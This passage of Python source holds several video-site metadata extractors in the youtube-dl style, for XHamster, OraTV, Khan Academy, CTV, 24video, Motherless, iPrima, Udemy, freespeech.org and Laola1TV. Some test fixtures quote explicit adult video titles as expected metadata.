            r'<span[^>]+itemprop=["\']author[^>]+><a[^>]+href=["\'].+?xhamster\.com/user/[^>]+>(?P<uploader>.+?)</a>',
            webpage, 'uploader', default='anonymous')

        thumbnail = self._search_regex(
            [r'''thumb\s*:\s*(?P<q>["'])(?P<thumbnail>.+?)(?P=q)''',
             r'''<video[^>]+poster=(?P<q>["'])(?P<thumbnail>.+?)(?P=q)[^>]*>'''],
            webpage, 'thumbnail', fatal=False, group='thumbnail')

        duration = float_or_none(self._search_regex(
            r'(["\'])duration\1\s*:\s*(["\'])(?P<duration>.+?)\2',
            webpage, 'duration', fatal=False, group='duration'))

        view_count = int_or_none(self._search_regex(
            r'content=["\']User(?:View|Play)s:(\d+)',
            webpage, 'view count', fatal=False))

        mobj = re.search(r"hint='(?P<likecount>\d+) Likes / (?P<dislikecount>\d+) Dislikes'", webpage)
        (like_count, dislike_count) = (mobj.group('likecount'), mobj.group('dislikecount')) if mobj else (None, None)

        mobj = re.search(r'</label>Comments \((?P<commentcount>\d+)\)</div>', webpage)
        comment_count = mobj.group('commentcount') if mobj else 0

        age_limit = self._rta_search(webpage)

        hd = is_hd(webpage)

        format_id = 'hd' if hd else 'sd'

        video_url = extract_video_url(webpage, format_id)
        formats = [{
            'url': video_url,
            'format_id': 'hd' if hd else 'sd',
            'preference': 1,
        }]

        if not hd:
            mrss_url = self._search_regex(r'<link rel="canonical" href="([^"]+)', webpage, 'mrss_url')
            webpage = self._download_webpage(mrss_url + '?hd', video_id, note='Downloading HD webpage')
            if is_hd(webpage):
                video_url = extract_video_url(webpage, 'hd')
                formats.append({
                    'url': video_url,
                    'format_id': 'hd',
                    'preference': 2,
                })

        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'upload_date': upload_date,
            'uploader': uploader,
            'thumbnail': thumbnail,
            'duration': duration,
            'view_count': view_count,
            'like_count': int_or_none(like_count),
            'dislike_count': int_or_none(dislike_count),
            'comment_count': int_or_none(comment_count),
            'age_limit': age_limit,
            'formats': formats,
        }


class XHamsterEmbedIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?xhamster\.com/xembed\.php\?video=(?P<id>\d+)'
    _TEST = {
        'url': 'http://xhamster.com/xembed.php?video=3328539',
        'info_dict': {
            'id': '3328539',
            'ext': 'mp4',
            'title': 'Pen Masturbation',
            'upload_date': '20140728',
            'uploader_id': 'anonymous',
            'duration': 5,
            'age_limit': 18,
        }
    }

    @staticmethod
    def _extract_urls(webpage):
        return [url for _, url in re.findall(
            r'<iframe[^>]+?src=(["\'])(?P<url>(?:https?:)?//(?:www\.)?xhamster\.com/xembed\.php\?video=\d+)\1',
            webpage)]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        video_url = self._search_regex(
            r'href="(https?://xhamster\.com/movies/%s/[^"]*\.html[^"]*)"' % video_id,
            webpage, 'xhamster url', default=None)

        if not video_url:
            vars = self._parse_json(
                self._search_regex(r'vars\s*:\s*({.+?})\s*,\s*\n', webpage, 'vars'),
                video_id)
            video_url = dict_get(vars, ('downloadLink', 'homepageLink', 'commentsLink', 'shareUrl'))

        return self.url_result(video_url, 'XHamster')






# coding: utf-8
from __future__ import unicode_literals

import re
from .common import InfoExtractor
from ..compat import compat_urlparse
from ..utils import (
    get_element_by_attribute,
    qualities,
    unescapeHTML,
)


class OraTVIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?(?:ora\.tv|unsafespeech\.com)/([^/]+/)*(?P<id>[^/\?#]+)'
    _TESTS = [{
        'url': 'https://www.ora.tv/larrykingnow/2015/12/16/vine-youtube-stars-zach-king-king-bach-on-their-viral-videos-0_36jupg6090pq',
        'md5': 'fa33717591c631ec93b04b0e330df786',
        'info_dict': {
            'id': '50178',
            'ext': 'mp4',
            'title': 'Vine & YouTube Stars Zach King & King Bach On Their Viral Videos!',
            'description': 'md5:ebbc5b1424dd5dba7be7538148287ac1',
        }
    }, {
        'url': 'http://www.unsafespeech.com/video/2016/5/10/student-self-censorship-and-the-thought-police-on-university-campuses-0_6622bnkppw4d',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        display_id = self._match_id(url)
        webpage = self._download_webpage(url, display_id)

        video_data = self._search_regex(
            r'"(?:video|current)"\s*:\s*({[^}]+?})', webpage, 'current video')
        m3u8_url = self._search_regex(
            r'hls_stream"?\s*:\s*"([^"]+)', video_data, 'm3u8 url', None)
        if m3u8_url:
            formats = self._extract_m3u8_formats(
                m3u8_url, display_id, 'mp4', 'm3u8_native',
                m3u8_id='hls', fatal=False)
            # similar to GameSpotIE
            m3u8_path = compat_urlparse.urlparse(m3u8_url).path
            QUALITIES_RE = r'((,[a-z]+\d+)+,?)'
            available_qualities = self._search_regex(
                QUALITIES_RE, m3u8_path, 'qualities').strip(',').split(',')
            http_path = m3u8_path[1:].split('/', 1)[1]
            http_template = re.sub(QUALITIES_RE, r'%s', http_path)
            http_template = http_template.replace('.csmil/master.m3u8', '')
            http_template = compat_urlparse.urljoin(
                'http://videocdn-pmd.ora.tv/', http_template)
            preference = qualities(
                ['mobile400', 'basic400', 'basic600', 'sd900', 'sd1200', 'sd1500', 'hd720', 'hd1080'])
            for q in available_qualities:
                formats.append({
                    'url': http_template % q,
                    'format_id': q,
                    'preference': preference(q),
                })
            self._sort_formats(formats)
        else:
            return self.url_result(self._search_regex(
                r'"youtube_id"\s*:\s*"([^"]+)', webpage, 'youtube id'), 'Youtube')

        return {
            'id': self._search_regex(
                r'"id"\s*:\s*(\d+)', video_data, 'video id', default=display_id),
            'display_id': display_id,
            'title': unescapeHTML(self._og_search_title(webpage)),
            'description': get_element_by_attribute(
                'class', 'video_txt_decription', webpage),
            'thumbnail': self._proto_relative_url(self._search_regex(
                r'"thumb"\s*:\s*"([^"]+)', video_data, 'thumbnail', None)),
            'formats': formats,
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    unified_strdate,
)


class KhanAcademyIE(InfoExtractor):
    _VALID_URL = r'^https?://(?:(?:www|api)\.)?khanacademy\.org/(?P<key>[^/]+)/(?:[^/]+/){,2}(?P<id>[^?#/]+)(?:$|[?#])'
    IE_NAME = 'KhanAcademy'

    _TESTS = [{
        'url': 'http://www.khanacademy.org/video/one-time-pad',
        'md5': '7b391cce85e758fb94f763ddc1bbb979',
        'info_dict': {
            'id': 'one-time-pad',
            'ext': 'webm',
            'title': 'The one-time pad',
            'description': 'The perfect cipher',
            'duration': 176,
            'uploader': 'Brit Cruise',
            'uploader_id': 'khanacademy',
            'upload_date': '20120411',
        },
        'add_ie': ['Youtube'],
    }, {
        'url': 'https://www.khanacademy.org/math/applied-math/cryptography',
        'info_dict': {
            'id': 'cryptography',
            'title': 'Journey into cryptography',
            'description': 'How have humans protected their secret messages through history? What has changed today?',
        },
        'playlist_mincount': 3,
    }]

    def _real_extract(self, url):
        m = re.match(self._VALID_URL, url)
        video_id = m.group('id')

        if m.group('key') == 'video':
            data = self._download_json(
                'http://api.khanacademy.org/api/v1/videos/' + video_id,
                video_id, 'Downloading video info')

            upload_date = unified_strdate(data['date_added'])
            uploader = ', '.join(data['author_names'])
            return {
                '_type': 'url_transparent',
                'url': data['url'],
                'id': video_id,
                'title': data['title'],
                'thumbnail': data['image_url'],
                'duration': data['duration'],
                'description': data['description'],
                'uploader': uploader,
                'upload_date': upload_date,
            }
        else:
            # topic
            data = self._download_json(
                'http://api.khanacademy.org/api/v1/topic/' + video_id,
                video_id, 'Downloading topic info')

            entries = [
                {
                    '_type': 'url',
                    'url': c['url'],
                    'id': c['id'],
                    'title': c['title'],
                }
                for c in data['children'] if c['kind'] in ('Video', 'Topic')]

            return {
                '_type': 'playlist',
                'id': video_id,
                'title': data['title'],
                'description': data['description'],
                'entries': entries,
            }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor


class CTVIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?ctv\.ca/video/player\?vid=(?P<id>[0-9.]+)'
    _TESTS = [{
        'url': 'http://www.ctv.ca/video/player?vid=706966',
        'md5': 'ff2ebbeae0aa2dcc32a830c3fd69b7b0',
        'info_dict': {
            'id': '706966',
            'ext': 'mp4',
            'title': 'Larry Day and Richard Jutras on the TIFF red carpet of \'Stonewall\'',
            'description': 'etalk catches up with Larry Day and Richard Jutras on the TIFF red carpet of "Stonewall”.',
            'upload_date': '20150919',
            'timestamp': 1442624700,
        },
        'expected_warnings': ['HTTP Error 404'],
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        return {
            '_type': 'url_transparent',
            'id': video_id,
            'url': '9c9media:ctv_web:%s' % video_id,
            'ie_key': 'NineCNineMedia',
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    parse_iso8601,
    int_or_none,
    xpath_attr,
    xpath_element,
)


class TwentyFourVideoIE(InfoExtractor):
    IE_NAME = '24video'
    _VALID_URL = r'https?://(?:www\.)?24video\.(?:net|me|xxx)/(?:video/(?:view|xml)/|player/new24_play\.swf\?id=)(?P<id>\d+)'

    _TESTS = [{
        'url': 'http://www.24video.net/video/view/1044982',
        'md5': 'e09fc0901d9eaeedac872f154931deeb',
        'info_dict': {
            'id': '1044982',
            'ext': 'mp4',
            'title': 'Эротика каменного века',
            'description': 'Как смотрели порно в каменном веке.',
            'thumbnail': 're:^https?://.*\.jpg$',
            'uploader': 'SUPERTELO',
            'duration': 31,
            'timestamp': 1275937857,
            'upload_date': '20100607',
            'age_limit': 18,
            'like_count': int,
            'dislike_count': int,
        },
    }, {
        'url': 'http://www.24video.net/player/new24_play.swf?id=1044982',
        'only_matching': True,
    }, {
        'url': 'http://www.24video.me/video/view/1044982',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(
            'http://www.24video.net/video/view/%s' % video_id, video_id)

        title = self._og_search_title(webpage)
        description = self._html_search_regex(
            r'<(p|span)[^>]+itemprop="description"[^>]*>(?P<description>[^<]+)</\1>',
            webpage, 'description', fatal=False, group='description')
        thumbnail = self._og_search_thumbnail(webpage)
        duration = int_or_none(self._og_search_property(
            'duration', webpage, 'duration', fatal=False))
        timestamp = parse_iso8601(self._search_regex(
            r'<time id="video-timeago" datetime="([^"]+)" itemprop="uploadDate">',
            webpage, 'upload date'))

        uploader = self._html_search_regex(
            r'class="video-uploaded"[^>]*>\s*<a href="/jsecUser/movies/[^"]+"[^>]*>([^<]+)</a>',
            webpage, 'uploader', fatal=False)

        view_count = int_or_none(self._html_search_regex(
            r'<span class="video-views">(\d+) просмотр',
            webpage, 'view count', fatal=False))
        comment_count = int_or_none(self._html_search_regex(
            r'<a[^>]+href="#tab-comments"[^>]*>(\d+) комментари',
            webpage, 'comment count', fatal=False))

        # Sets some cookies
        self._download_xml(
            r'http://www.24video.net/video/xml/%s?mode=init' % video_id,
            video_id, 'Downloading init XML')

        video_xml = self._download_xml(
            'http://www.24video.net/video/xml/%s?mode=play' % video_id,
            video_id, 'Downloading video XML')

        video = xpath_element(video_xml, './/video', 'video', fatal=True)

        formats = [{
            'url': xpath_attr(video, '', 'url', 'video URL', fatal=True),
        }]

        like_count = int_or_none(video.get('ratingPlus'))
        dislike_count = int_or_none(video.get('ratingMinus'))
        age_limit = 18 if video.get('adult') == 'true' else 0

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'uploader': uploader,
            'duration': duration,
            'timestamp': timestamp,
            'view_count': view_count,
            'comment_count': comment_count,
            'like_count': like_count,
            'dislike_count': dislike_count,
            'age_limit': age_limit,
            'formats': formats,
        }






from __future__ import unicode_literals

import datetime
import re

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    str_to_int,
    unified_strdate,
)


class MotherlessIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?motherless\.com/(?:g/[a-z0-9_]+/)?(?P<id>[A-Z0-9]+)'
    _TESTS = [{
        'url': 'http://motherless.com/AC3FFE1',
        'md5': '310f62e325a9fafe64f68c0bccb6e75f',
        'info_dict': {
            'id': 'AC3FFE1',
            'ext': 'mp4',
            'title': 'Fucked in the ass while playing PS3',
            'categories': ['Gaming', 'anal', 'reluctant', 'rough', 'Wife'],
            'upload_date': '20100913',
            'uploader_id': 'famouslyfuckedup',
            'thumbnail': 're:http://.*\.jpg',
            'age_limit': 18,
        }
    }, {
        'url': 'http://motherless.com/532291B',
        'md5': 'bc59a6b47d1f958e61fbd38a4d31b131',
        'info_dict': {
            'id': '532291B',
            'ext': 'mp4',
            'title': 'Amazing girl playing the omegle game, PERFECT!',
            'categories': ['Amateur', 'webcam', 'omegle', 'pink', 'young', 'masturbate', 'teen',
                           'game', 'hairy'],
            'upload_date': '20140622',
            'uploader_id': 'Sulivana7x',
            'thumbnail': 're:http://.*\.jpg',
            'age_limit': 18,
        },
        'skip': '404',
    }, {
        'url': 'http://motherless.com/g/cosplay/633979F',
        'md5': '0b2a43f447a49c3e649c93ad1fafa4a0',
        'info_dict': {
            'id': '633979F',
            'ext': 'mp4',
            'title': 'Turtlette',
            'categories': ['superheroine heroine  superher'],
            'upload_date': '20140827',
            'uploader_id': 'shade0230',
            'thumbnail': 're:http://.*\.jpg',
            'age_limit': 18,
        }
    }, {
        # no keywords
        'url': 'http://motherless.com/8B4BBC1',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        if any(p in webpage for p in (
                '<title>404 - MOTHERLESS.COM<',
                ">The page you're looking for cannot be found.<")):
            raise ExtractorError('Video %s does not exist' % video_id, expected=True)

        if '>The content you are trying to view is for friends only.' in webpage:
            raise ExtractorError('Video %s is for friends only' % video_id, expected=True)

        title = self._html_search_regex(
            r'id="view-upload-title">\s+([^<]+)<', webpage, 'title')
        video_url = self._html_search_regex(
            r'setup\(\{\s+"file".+: "([^"]+)",', webpage, 'video URL')
        age_limit = self._rta_search(webpage)
        view_count = str_to_int(self._html_search_regex(
            r'<strong>Views</strong>\s+([^<]+)<',
            webpage, 'view count', fatal=False))
        like_count = str_to_int(self._html_search_regex(
            r'<strong>Favorited</strong>\s+([^<]+)<',
            webpage, 'like count', fatal=False))

        upload_date = self._html_search_regex(
            r'<strong>Uploaded</strong>\s+([^<]+)<', webpage, 'upload date')
        if 'Ago' in upload_date:
            days = int(re.search(r'([0-9]+)', upload_date).group(1))
            upload_date = (datetime.datetime.now() - datetime.timedelta(days=days)).strftime('%Y%m%d')
        else:
            upload_date = unified_strdate(upload_date)

        comment_count = webpage.count('class="media-comment-contents"')
        uploader_id = self._html_search_regex(
            r'"thumb-member-username">\s+<a href="/m/([^"]+)"',
            webpage, 'uploader_id')

        categories = self._html_search_meta('keywords', webpage, default=None)
        if categories:
            categories = [cat.strip() for cat in categories.split(',')]

        return {
            'id': video_id,
            'title': title,
            'upload_date': upload_date,
            'uploader_id': uploader_id,
            'thumbnail': self._og_search_thumbnail(webpage),
            'categories': categories,
            'view_count': view_count,
            'like_count': like_count,
            'comment_count': comment_count,
            'age_limit': age_limit,
            'url': video_url,
        }






# coding: utf-8
from __future__ import unicode_literals

import re
import time

from .common import InfoExtractor
from ..utils import (
    determine_ext,
    js_to_json,
    sanitized_Request,
)


class IPrimaIE(InfoExtractor):
    _VALID_URL = r'https?://play\.iprima\.cz/(?:.+/)?(?P<id>[^?#]+)'

    _TESTS = [{
        'url': 'http://play.iprima.cz/gondici-s-r-o-33',
        'info_dict': {
            'id': 'p136534',
            'ext': 'mp4',
            'title': 'Gondíci s. r. o. (34)',
            'description': 'md5:16577c629d006aa91f59ca8d8e7f99bd',
        },
        'params': {
            'skip_download': True,  # m3u8 download
        },
    }, {
        'url': 'http://play.iprima.cz/particka/particka-92',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        video_id = self._search_regex(r'data-product="([^"]+)">', webpage, 'real id')

        req = sanitized_Request(
            'http://play.iprima.cz/prehravac/init?_infuse=1'
            '&_ts=%s&productId=%s' % (round(time.time()), video_id))
        req.add_header('Referer', url)
        playerpage = self._download_webpage(req, video_id, note='Downloading player')

        formats = []

        def extract_formats(format_url, format_key=None, lang=None):
            ext = determine_ext(format_url)
            new_formats = []
            if format_key == 'hls' or ext == 'm3u8':
                new_formats = self._extract_m3u8_formats(
                    format_url, video_id, 'mp4', entry_protocol='m3u8_native',
                    m3u8_id='hls', fatal=False)
            elif format_key == 'dash' or ext == 'mpd':
                return
                new_formats = self._extract_mpd_formats(
                    format_url, video_id, mpd_id='dash', fatal=False)
            if lang:
                for f in new_formats:
                    if not f.get('language'):
                        f['language'] = lang
            formats.extend(new_formats)

        options = self._parse_json(
            self._search_regex(
                r'(?s)var\s+playerOptions\s*=\s*({.+?});',
                playerpage, 'player options', default='{}'),
            video_id, transform_source=js_to_json, fatal=False)
        if options:
            for key, tracks in options.get('tracks', {}).items():
                if not isinstance(tracks, list):
                    continue
                for track in tracks:
                    src = track.get('src')
                    if src:
                        extract_formats(src, key.lower(), track.get('lang'))

        if not formats:
            for _, src in re.findall(r'src["\']\s*:\s*(["\'])(.+?)\1', playerpage):
                extract_formats(src)

        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': self._og_search_title(webpage),
            'thumbnail': self._og_search_thumbnail(webpage),
            'formats': formats,
            'description': self._og_search_description(webpage),
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import (
    compat_HTTPError,
    compat_urllib_request,
    compat_urlparse,
)
from ..utils import (
    determine_ext,
    extract_attributes,
    ExtractorError,
    float_or_none,
    int_or_none,
    sanitized_Request,
    unescapeHTML,
    urlencode_postdata,
)


class UdemyIE(InfoExtractor):
    IE_NAME = 'udemy'
    _VALID_URL = r'''(?x)
                    https?://
                        www\.udemy\.com/
                        (?:
                            [^#]+\#/lecture/|
                            lecture/view/?\?lectureId=|
                            [^/]+/learn/v4/t/lecture/
                        )
                        (?P<id>\d+)
                    '''
    _LOGIN_URL = 'https://www.udemy.com/join/login-popup/?displayType=ajax&showSkipButton=1'
    _ORIGIN_URL = 'https://www.udemy.com'
    _NETRC_MACHINE = 'udemy'

    _TESTS = [{
        'url': 'https://www.udemy.com/java-tutorial/#/lecture/172757',
        'md5': '98eda5b657e752cf945d8445e261b5c5',
        'info_dict': {
            'id': '160614',
            'ext': 'mp4',
            'title': 'Introduction and Installation',
            'description': 'md5:c0d51f6f21ef4ec65f091055a5eef876',
            'duration': 579.29,
        },
        'skip': 'Requires udemy account credentials',
    }, {
        # new URL schema
        'url': 'https://www.udemy.com/electric-bass-right-from-the-start/learn/v4/t/lecture/4580906',
        'only_matching': True,
    }]

    def _extract_course_info(self, webpage, video_id):
        course = self._parse_json(
            unescapeHTML(self._search_regex(
                r'ng-init=["\'].*\bcourse=({.+?});', webpage, 'course', default='{}')),
            video_id, fatal=False) or {}
        course_id = course.get('id') or self._search_regex(
            (r'&quot;id&quot;\s*:\s*(\d+)', r'data-course-id=["\'](\d+)'),
            webpage, 'course id')
        return course_id, course.get('title')

    def _enroll_course(self, base_url, webpage, course_id):
        def combine_url(base_url, url):
            return compat_urlparse.urljoin(base_url, url) if not url.startswith('http') else url

        checkout_url = unescapeHTML(self._search_regex(
            r'href=(["\'])(?P<url>(?:https?://(?:www\.)?udemy\.com)?/payment/checkout/.+?)\1',
            webpage, 'checkout url', group='url', default=None))
        if checkout_url:
            raise ExtractorError(
                'Course %s is not free. You have to pay for it before you can download. '
                'Use this URL to confirm purchase: %s'
                % (course_id, combine_url(base_url, checkout_url)),
                expected=True)

        enroll_url = unescapeHTML(self._search_regex(
            r'href=(["\'])(?P<url>(?:https?://(?:www\.)?udemy\.com)?/course/subscribe/.+?)\1',
            webpage, 'enroll url', group='url', default=None))
        if enroll_url:
            webpage = self._download_webpage(
                combine_url(base_url, enroll_url),
                course_id, 'Enrolling in the course',
                headers={'Referer': base_url})
            if '>You have enrolled in' in webpage:
                self.to_screen('%s: Successfully enrolled in the course' % course_id)

    def _download_lecture(self, course_id, lecture_id):
        return self._download_json(
            'https://www.udemy.com/api-2.0/users/me/subscribed-courses/%s/lectures/%s?'
            % (course_id, lecture_id),
            lecture_id, 'Downloading lecture JSON', query={
                'fields[lecture]': 'title,description,view_html,asset',
                'fields[asset]': 'asset_type,stream_url,thumbnail_url,download_urls,data',
            })

    def _handle_error(self, response):
        if not isinstance(response, dict):
            return
        error = response.get('error')
        if error:
            error_str = 'Udemy returned error #%s: %s' % (error.get('code'), error.get('message'))
            error_data = error.get('data')
            if error_data:
                error_str += ' - %s' % error_data.get('formErrors')
            raise ExtractorError(error_str, expected=True)

    def _download_json(self, url_or_request, *args, **kwargs):
        headers = {
            'X-Udemy-Snail-Case': 'true',
            'X-Requested-With': 'XMLHttpRequest',
        }
        for cookie in self._downloader.cookiejar:
            if cookie.name == 'client_id':
                headers['X-Udemy-Client-Id'] = cookie.value
            elif cookie.name == 'access_token':
                headers['X-Udemy-Bearer-Token'] = cookie.value
                headers['X-Udemy-Authorization'] = 'Bearer %s' % cookie.value

        if isinstance(url_or_request, compat_urllib_request.Request):
            for header, value in headers.items():
                url_or_request.add_header(header, value)
        else:
            url_or_request = sanitized_Request(url_or_request, headers=headers)

        response = super(UdemyIE, self)._download_json(url_or_request, *args, **kwargs)
        self._handle_error(response)
        return response

    def _real_initialize(self):
        self._login()

    def _login(self):
        (username, password) = self._get_login_info()
        if username is None:
            return

        login_popup = self._download_webpage(
            self._LOGIN_URL, None, 'Downloading login popup')

        def is_logged(webpage):
            return any(re.search(p, webpage) for p in (
                r'href=["\'](?:https://www\.udemy\.com)?/user/logout/',
                r'>Logout<'))

        # already logged in
        if is_logged(login_popup):
            return

        login_form = self._form_hidden_inputs('login-form', login_popup)

        login_form.update({
            'email': username,
            'password': password,
        })

        response = self._download_webpage(
            self._LOGIN_URL, None, 'Logging in as %s' % username,
            data=urlencode_postdata(login_form),
            headers={
                'Referer': self._ORIGIN_URL,
                'Origin': self._ORIGIN_URL,
            })

        if not is_logged(response):
            error = self._html_search_regex(
                r'(?s)<div[^>]+class="form-errors[^"]*">(.+?)</div>',
                response, 'error message', default=None)
            if error:
                raise ExtractorError('Unable to login: %s' % error, expected=True)
            raise ExtractorError('Unable to log in')

    def _real_extract(self, url):
        lecture_id = self._match_id(url)

        webpage = self._download_webpage(url, lecture_id)

        course_id, _ = self._extract_course_info(webpage, lecture_id)

        try:
            lecture = self._download_lecture(course_id, lecture_id)
        except ExtractorError as e:
            # Error could possibly mean we are not enrolled in the course
            if isinstance(e.cause, compat_HTTPError) and e.cause.code == 403:
                self._enroll_course(url, webpage, course_id)
                lecture = self._download_lecture(course_id, lecture_id)
            else:
                raise

        title = lecture['title']
        description = lecture.get('description')

        asset = lecture['asset']

        asset_type = asset.get('asset_type') or asset.get('assetType')
        if asset_type != 'Video':
            raise ExtractorError(
                'Lecture %s is not a video' % lecture_id, expected=True)

        stream_url = asset.get('stream_url') or asset.get('streamUrl')
        if stream_url:
            youtube_url = self._search_regex(
                r'(https?://www\.youtube\.com/watch\?v=.*)', stream_url, 'youtube URL', default=None)
            if youtube_url:
                return self.url_result(youtube_url, 'Youtube')

        video_id = asset['id']
        thumbnail = asset.get('thumbnail_url') or asset.get('thumbnailUrl')
        duration = float_or_none(asset.get('data', {}).get('duration'))

        formats = []

        def extract_output_format(src):
            return {
                'url': src['url'],
                'format_id': '%sp' % (src.get('height') or format_id),
                'width': int_or_none(src.get('width')),
                'height': int_or_none(src.get('height')),
                'vbr': int_or_none(src.get('video_bitrate_in_kbps')),
                'vcodec': src.get('video_codec'),
                'fps': int_or_none(src.get('frame_rate')),
                'abr': int_or_none(src.get('audio_bitrate_in_kbps')),
                'acodec': src.get('audio_codec'),
                'asr': int_or_none(src.get('audio_sample_rate')),
                'tbr': int_or_none(src.get('total_bitrate_in_kbps')),
                'filesize': int_or_none(src.get('file_size_in_bytes')),
            }

        outputs = asset.get('data', {}).get('outputs')
        if not isinstance(outputs, dict):
            outputs = {}

        def add_output_format_meta(f, key):
            output = outputs.get(key)
            if isinstance(output, dict):
                output_format = extract_output_format(output)
                output_format.update(f)
                return output_format
            return f

        download_urls = asset.get('download_urls')
        if isinstance(download_urls, dict):
            video = download_urls.get('Video')
            if isinstance(video, list):
                for format_ in video:
                    video_url = format_.get('file')
                    if not video_url:
                        continue
                    format_id = format_.get('label')
                    f = {
                        'url': format_['file'],
                        'format_id': '%sp' % format_id,
                        'height': int_or_none(format_id),
                    }
                    if format_id:
                        # Some videos contain additional metadata (e.g.
                        # https://www.udemy.com/ios9-swift/learn/#/lecture/3383208)
                        f = add_output_format_meta(f, format_id)
                    formats.append(f)

        view_html = lecture.get('view_html')
        if view_html:
            view_html_urls = set()
            for source in re.findall(r'<source[^>]+>', view_html):
                attributes = extract_attributes(source)
                src = attributes.get('src')
                if not src:
                    continue
                res = attributes.get('data-res')
                height = int_or_none(res)
                if src in view_html_urls:
                    continue
                view_html_urls.add(src)
                if attributes.get('type') == 'application/x-mpegURL' or determine_ext(src) == 'm3u8':
                    m3u8_formats = self._extract_m3u8_formats(
                        src, video_id, 'mp4', entry_protocol='m3u8_native',
                        m3u8_id='hls', fatal=False)
                    for f in m3u8_formats:
                        m = re.search(r'/hls_(?P<height>\d{3,4})_(?P<tbr>\d{2,})/', f['url'])
                        if m:
                            if not f.get('height'):
                                f['height'] = int(m.group('height'))
                            if not f.get('tbr'):
                                f['tbr'] = int(m.group('tbr'))
                    formats.extend(m3u8_formats)
                else:
                    formats.append(add_output_format_meta({
                        'url': src,
                        'format_id': '%dp' % height if height else None,
                        'height': height,
                    }, res))

        self._sort_formats(formats, field_preference=('height', 'width', 'tbr', 'format_id'))

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'duration': duration,
            'formats': formats
        }


class UdemyCourseIE(UdemyIE):
    IE_NAME = 'udemy:course'
    _VALID_URL = r'https?://www\.udemy\.com/(?P<id>[^/?#&]+)'
    _TESTS = []

    @classmethod
    def suitable(cls, url):
        return False if UdemyIE.suitable(url) else super(UdemyCourseIE, cls).suitable(url)

    def _real_extract(self, url):
        course_path = self._match_id(url)

        webpage = self._download_webpage(url, course_path)

        course_id, title = self._extract_course_info(webpage, course_path)

        self._enroll_course(url, webpage, course_id)

        response = self._download_json(
            'https://www.udemy.com/api-2.0/courses/%s/cached-subscriber-curriculum-items' % course_id,
            course_id, 'Downloading course curriculum', query={
                'fields[chapter]': 'title,object_index',
                'fields[lecture]': 'title,asset',
                'page_size': '1000',
            })

        entries = []
        chapter, chapter_number = [None] * 2
        for entry in response['results']:
            clazz = entry.get('_class')
            if clazz == 'lecture':
                asset = entry.get('asset')
                if isinstance(asset, dict):
                    asset_type = asset.get('asset_type') or asset.get('assetType')
                    if asset_type != 'Video':
                        continue
                lecture_id = entry.get('id')
                if lecture_id:
                    entry = {
                        '_type': 'url_transparent',
                        'url': 'https://www.udemy.com/%s/learn/v4/t/lecture/%s' % (course_path, entry['id']),
                        'title': entry.get('title'),
                        'ie_key': UdemyIE.ie_key(),
                    }
                    if chapter_number:
                        entry['chapter_number'] = chapter_number
                    if chapter:
                        entry['chapter'] = chapter
                    entries.append(entry)
            elif clazz == 'chapter':
                chapter_number = entry.get('object_index')
                chapter = entry.get('title')

        return self.playlist_result(entries, course_id, title)






from __future__ import unicode_literals

import re
import json

from .common import InfoExtractor


class FreespeechIE(InfoExtractor):
    IE_NAME = 'freespeech.org'
    _VALID_URL = r'https://www\.freespeech\.org/video/(?P<title>.+)'
    _TEST = {
        'add_ie': ['Youtube'],
        'url': 'https://www.freespeech.org/video/obama-romney-campaign-colorado-ahead-debate-0',
        'info_dict': {
            'id': 'poKsVCZ64uU',
            'ext': 'webm',
            'title': 'Obama, Romney Campaign in Colorado Ahead of Debate',
            'description': 'Obama, Romney Campaign in Colorado Ahead of Debate',
            'uploader': 'freespeechtv',
            'uploader_id': 'freespeechtv',
            'upload_date': '20121002',
        },
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        title = mobj.group('title')
        webpage = self._download_webpage(url, title)
        info_json = self._search_regex(r'jQuery.extend\(Drupal.settings, ({.*?})\);', webpage, 'info')
        info = json.loads(info_json)

        return {
            '_type': 'url',
            'url': info['jw_player']['basic_video_node_player']['file'],
            'ie_key': 'Youtube',
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import (
    compat_urllib_parse_urlencode,
    compat_urlparse,
)
from ..utils import (
    ExtractorError,
    sanitized_Request,
    unified_strdate,
    urlencode_postdata,
    xpath_element,
    xpath_text,
)


class Laola1TvIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?laola1\.tv/(?P<lang>[a-z]+)-(?P<portal>[a-z]+)/(?P<kind>[^/]+)/(?P<slug>[^/?#&]+)'
    _TESTS = [{
        'url': 'http://www.laola1.tv/de-de/video/straubing-tigers-koelner-haie/227883.html',
        'info_dict': {
            'id': '227883',
            'display_id': 'straubing-tigers-koelner-haie',
            'ext': 'flv',
            'title': 'Straubing Tigers - Kölner Haie',
            'upload_date': '20140912',
            'is_live': False,
            'categories': ['Eishockey'],
        },
        'params': {
            'skip_download': True,
        },
    }, {
        'url': 'http://www.laola1.tv/de-de/video/straubing-tigers-koelner-haie',
        'info_dict': {
            'id': '464602',
            'display_id': 'straubing-tigers-koelner-haie',
            'ext': 'flv',
            'title': 'Straubing Tigers - Kölner Haie',
            'upload_date': '20160129',
            'is_live': False,
            'categories': ['Eishockey'],
        },
        'params': {
            'skip_download': True,
        },
    }, {
        'url': 'http://www.laola1.tv/de-de/livestream/2016-03-22-belogorie-belgorod-trentino-diatec-lde',
        'info_dict': {
